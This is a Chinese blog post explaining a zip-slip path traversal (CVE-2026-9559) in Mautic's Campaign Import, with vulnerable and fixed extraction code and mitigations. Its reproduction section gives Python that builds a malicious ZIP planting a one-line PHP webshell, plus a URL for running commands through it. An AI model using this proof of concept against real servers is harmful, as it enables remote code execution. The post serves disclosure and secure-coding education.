一个 ZIP 文件,把 webshell 写到了不该在的地方

一个 ZIP 文件,把 webshell 写到了不该在的地方

Mautic 是个开源的营销自动化平台,企业里用得很广。它有个 Campaign Import 功能------你把营销活动数据打包成 ZIP 传上去,它帮你解压、导入。

很正常的业务功能。但 CVE-2026-9559 让这个功能变成了 webshell 投放器。

怎么回事?一句话:

解压 ZIP 的时候,代码没检查每个文件名的路径合不合法。攻击者在 ZIP 里塞了个文件名叫 ../../../web/shell.php 的条目,解压之后,这个文件没有待在导入目录里,而是顺着 ../ 跑到了 Web 可访问目录。


前端里类似的坑你一定见过:用户上传头像,文件名是 ../../../etc/passwd。后端没过滤,直接拼路径保存------完蛋。或者前端路由里有个 path.join(baseDir, userInput),userInput 是个 ../,直接跳出应用目录。

路径穿越这事二十年了,但每次换一个场景------解压、上传、路由------还是有人中招。Mautic 这次就栽在解压场景。

js 复制代码
// 一个前端开发者都能一眼看出问题的代码(但很多后端解压逻辑就是这么写的):
const extractDir = '/var/www/mautic/imports/';

zip.forEach(entry => {
  const targetPath = extractDir + entry.name;
  // entry.name = '../../../web/root/shell.php'
  // targetPath = '/var/www/mautic/imports/../../../web/root/shell.php'
  // 规范化后 = '/var/www/mautic/web/root/shell.php'
  fs.writeFileSync(targetPath, entry.content); // webshell 就位
});

攻击者只需要构造一个 ZIP:

text 复制代码
malicious_campaign.zip
├── campaign.json          ← 正常内容,骗过格式校验
└── ../../../web/root/shell.php   ← 穿越路径,内容是一句话木马

上传、导入、解压------Mautic 告诉你导入成功。但在你看不到的角落,shell.php 已经躺在 Web 目录下了。访问 https://target.com/root/shell.php?cmd=id,服务器权限到手。


这个漏洞最讽刺的地方是:你登录 Mautic 看日志,一切正常。ZIP 校验通过,导入成功,没有报错。唯一不正常的事情发生在文件系统上------而大多数监控不会盯着解压目录外的文件写入。

而且这个漏洞不需要管理员。只要有个能创建 Campaign Import 的普通账号就行------很多企业 Mautic 里这权限是默认开的。

flowchart LR A[&#34;认证用户<br/>campaign:imports:create 权限&#34;] --> B[&#34;上传恶意 ZIP&#34;] B --> C[&#34;ZIP 解压<br/>未校验路径&#34;] C --> D[&#34;shell.php 写入<br/>Web 可访问目录&#34;] D --> E[&#34;访问 shell.php<br/>RCE&#34;]

怎么修?

原则就一句:解压之前,先看路径。解压之后,确认文件落在了该在的目录里。

Mautic 的修复做了两步:

  1. 对每个 ZIP 条目的文件名做规范化(realpath / canonicalize),拒绝包含 ../ 的路径
  2. 解压后校验最终写入路径的前缀必须是目标目录------如果不是,说明穿越了,拒绝写入

如果你用的是受影响的版本,暂时升不了级,几个临时措施:

  • 把 ZIP 解压到隔离目录(如 /tmp/sandbox_xxx/),别直接在 Web 目录下操作
  • 解压前逐条检查文件名,发现 ../ 直接拒
  • 用最小权限跑 Mautic 进程------www-data 能写的目录越少越好
js 复制代码
// 正确的解压逻辑(前端也能看懂):
const baseDir = path.resolve('/var/www/mautic/imports/');

zip.forEach(entry => {
  const resolved = path.resolve(baseDir, entry.name);
  if (!resolved.startsWith(baseDir)) {
    throw new Error(`路径穿越: ${entry.name}`); // 直接拒
  }
  fs.writeFileSync(resolved, entry.content);
});

就多了两行校验,webshell 就投不进来了。


本地复现

需要 Mautic 7 环境 + campaign:imports:create 权限的账号。

构造恶意 ZIP(Python):

python 复制代码
import zipfile

with zipfile.ZipFile('malicious_campaign.zip', 'w') as z:
    # 正常文件,骗过格式校验
    z.writestr('campaign.json', '{"name": "test"}')
    # 穿越路径(实际路径根据 Mautic 安装目录调整)
    z.writestr('../../../web/root/shell.php', '<?php system($_GET["cmd"]); ?>')

上传 → 导入 → 访问 https://your-mautic/root/shell.php?cmd=whoami → 命令输出即复现成功。


影响版本 :Mautic 7(Campaign Import 功能) | 修复:参考 Mautic GHSA 更新

前提 :需认证 + campaign:imports:create 权限 | 参考:GitHub Advisory GHSA-6r9h-4h75-7q4x / NVD

相关推荐
子兮曰3 天前
jev-ultrafast 深度解析:7 秒订机票的浏览器 Agent 是如何炼成的
前端·后端·agent
子兮曰3 天前
Jev 爆发一周:7 秒 Agent 背后的 System One 生态与三场争议
前端·后端·ai编程
前端小万3 天前
写公众号赚了 3000 块后,我做了一款叫 "一键成稿" 的软件
前端·微信小程序
爱勇宝3 天前
ZCode 开源 24 小时:一份没有历史的账本,回答不了"有没有偷代码"
前端·后端·chatglm (智谱)
三十而立洋3 天前
Cookie 详解:从产生到安全,一次讲透
前端·javascript
卡布鲁4 天前
把一个 Vite + Vue3 应用塞进 qiankun (React + Umi3) 主站:十个坑的复盘
前端·javascript·react.js
汉堡大王95274 天前
Jev:不是聊天机器人, 而是一个智能 if 语句
前端·人工智能·后端
梦想很大很大4 天前
从运行事实到回归证据:Workrun 的 Telemetry 与 Evaluation 实践
前端·人工智能·后端
计算机魔术师4 天前
Meta Muse agent 接入 Shopify 的 Shop Pay 实现代理式购物
前端
沙蒿同学4 天前
我用 Go 搭了一条 AI Agent 流水线:从 1 张商品图到一整套淘宝详情页
前端·javascript·后端